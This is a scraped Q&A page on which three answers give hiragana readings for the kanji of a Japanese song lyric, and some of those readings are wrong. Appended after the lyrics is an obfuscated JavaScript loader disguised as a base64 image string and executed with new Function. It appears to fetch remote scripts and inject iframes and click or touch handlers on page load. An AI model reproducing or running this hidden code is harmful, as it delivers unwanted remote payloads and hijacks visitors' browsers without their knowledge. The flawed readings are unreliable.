日语翻译...歌曲汉字翻译成平假名...

2025-03-04 02:16:47
推荐回答(3个)
回答1:

忆(おぼ)えていますか 初(はじ)めて出会(であ)った曰(ひ)を
たったひとこと 名前(なまえ)をくれたのはあなたでした

どこまでも远(とお)く 离(はな)れたとしても
たったひとつの言叶(ことば) くれたのはあなた
この空(そら)が繋(つな)がっていたから わたしたちは出会(であ)えた
偶然(ぐうぜん)でもかまわない それでも意味(いみ)はあるから
あと何度(なんど)、あなたの梦(ゆめ)を叶(かな)えられますか?
あと何度(なんど)、あなたの后(うし)ろを歩(ある)くことができるでしょう

届(とど)かなくても 近(ちか)くにいたい あなたのそばに そっといたい
どんな姿(すがた)になっても 安(やす)らぎを赠(おく)りたい
わたしを感(かん)じて わたしだけ感(かん)じて
あなたの名前(なまえ)を ずっと忆(おぼ)えてる

どこまでも広(ひろ)い 见知(みし)らぬ空(そら)の下(した)
たったひとつの答(こた)え 教(おし)えてくれた人
どこまでも远(とお)く 离(はな)れたとしても
たったひとつの出会(であ)い くれたのはあなた

この世界(せかい)が交(ま)じりあうから わたしたちは离别(わか)れる
必然(ひつぜん)でもかまわない それでも强(つよ)くなれるから
あと何度(なんど)、あなたの笑颜(えがお)を见(み)られますか?
あと何度(なんど)、あなたの幸(しあわ)せを祈(いの)ることができるでしょう

届(とど)かぬ想(おも)い いつか消(き)える わたしの想(おも)い そっと消(き)える
いつか逢(あ)えなくなっても ぬくもりを忘(わす)れない
わたしを见(み)つめて わたしだけ见(み)つめて
最后(さいご)のひとこと あなたが好(す)き......

どこまでも近(ちか)く 感(かん)じたとしても
たったひとつの笑颜(えがお) 残(のこ)して消(き)えた人
どこまでも远(とお)く 离(はな)れたとしても
たったひとつの想(おも)い くれたのはあなた
この広(ひろ)い世界(せかい)で ずっと信(しん)じている
たったひとつのヒカリ きらきらセレナーデ
あの顷(ごろ)のわたし 何(なに)も知(し)らなかったけど
たったひとつの言叶(ことば) くれたのはあなた

さよなら わたしにぜんぶくれた人(ひと)

回答2:

已标注在当用汉字上方

おぼ はじ であ ひ
忆えていますか 初めて出会った曰を
なまえ
たったひとこと 名前をくれたのはあなたでした
とお はな
どこまでも远く 离れたとしても
ことば
たったひとつの言叶 くれたのはあなた
そら つな であ
この空が繋がっていたから わたしたちは出会えた
ぐうぜん いみ
偶然でもかまわない それでも意味はあるから
なんど ゆめ かな
あと何度、あなたの梦を叶えられますか?
なんど うし ある
あと何度、あなたの后ろを歩くことができるでしょう

とど ちか
届かなくても 近くにいたい あなたのそばに そっといたい
すがた やす おく
どんな姿になっても 安らぎを赠りたい
かん かん
わたしを感じて わたしだけ感じて
なまえ おぼ
あなたの名前を ずっと忆えてる
ひろ みし そら した
どこまでも広い 见知らぬ空の下
こた おし ひと
たったひとつの答え 教えてくれた人
とお はな
どこまでも远く 离れたとしても
であ
たったひとつの出会い くれたのはあなた

せかい こ わか
この世界が交じりあうから わたしたちは离别(わか)れる
ひつぜん つよ
必然でもかまわない それでも强くなれるから
なんど えがお み
あと何度、あなたの笑颜を见られますか? 」
なんど しあわ いの
あと何度、あなたの幸せを祈ることができるでしょう

とど おも き おも き
届かぬ想い いつか消える わたしの想い そっと消える 」
あ わす
いつか逢えなくなっても ぬくもりを忘れない
み み
わたしを见つめて わたしだけ见つめて
さいご す
最后のひとこと あなたが好き......
ちか かん
どこまでも近く 感じたとしても
えがお のこ き
たったひとつの笑颜 残して消えた人
とお はな
どこまでも远く 离れたとしても
おも
たったひとつの想い くれたのはあなた
ひろ せかい しん
この広い世界で ずっと信じている
たったひとつのヒカリ きらきらセレナーデ
ごろ なに し
あの顷のわたし 何も知らなかったけど
ことば
たったひとつの言叶 くれたのはあなた
ひと
さよなら わたしにぜんぶくれた人

回答3:

忆(おぼ)えていますか 初(はじ)めて出会(であ)った曰(いわ)を
たったひとこと 名前(なまえ)をくれたのはあなたでした

どこまでも远(とお)く 离(はな)れたとしても
たったひとつの言叶(ことば) くれたのはあなた
この空(そら)が繋(つな)がっていたから わたしたちは出会(であ)えた
偶然(ぐうぜん)でもかまわない それでも意味(いみ)はあるから
あと何(なん)度(ど)、あなたの梦(ゆめ)を叶(は)えられますか?
あと何(なん)度(ど)、あなたの后(うし)ろを歩(ある)くことができるでしょう

届(とど)かなくても 近(ちか)くにいたい あなたのそばに そっといたい
どんな姿(すがた)になっても 安(やす)らぎを赠(おく)りたい
わたしを感(かん)じて わたしだけ感(かん)じて
あなたの名前(なまえ)を ずっと忆(おぼ)えてる

どこまでも広(ひろ)い 见知(みし)らぬ空(そら)の下(した)
たったひとつの答(こた)え 教(おし)えてくれた人(ひと)
どこまでも远(とお)く 离(はな)れたとしても
たったひとつの出会(であ)い くれたのはあなた

この世界(せかい)が交(ま)じりあうから わたしたちは离别(りべつ)(わか)れる
必然(ひつぜん)でもかまわない それでも强(つよ)くなれるから
あと何(なん)度(ど)、あなたの笑颜(えがお)を见(み)られますか?
あと何(なん)度(ど)、あなたの幸(しあわ)せを祈(いの)ることができるでしょう

届(とど)かぬ想(おも)い いつか消(き)える わたしの想(おも)い そっと消(き)える
いつか逢(あ)えなくなっても ぬくもりを忘(わす)れない
わたしを见(み)つめて わたしだけ见(み)つめて
最后(さいご)のひとこと あなたが好(す)き......

どこまでも近(ちか)く 感(かん)じたとしても
たったひとつの笑颜(えがお) 残()して消(き)えた人(ひと)
どこまでも远(とお)く 离(はな)れたとしても
たったひとつの想(おも)い くれたのはあなた
この広(ひろ)い世界(せかい)で ずっと信(しん)じている
たったひとつのヒカリ きらきらセレナーデ
あの顷(ころ)のわたし 何(なに)も知(し)らなかったけど
たったひとつの言叶(ことば) くれたのはあなた

さよなら わたしにぜんぶくれた人(ひと)

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();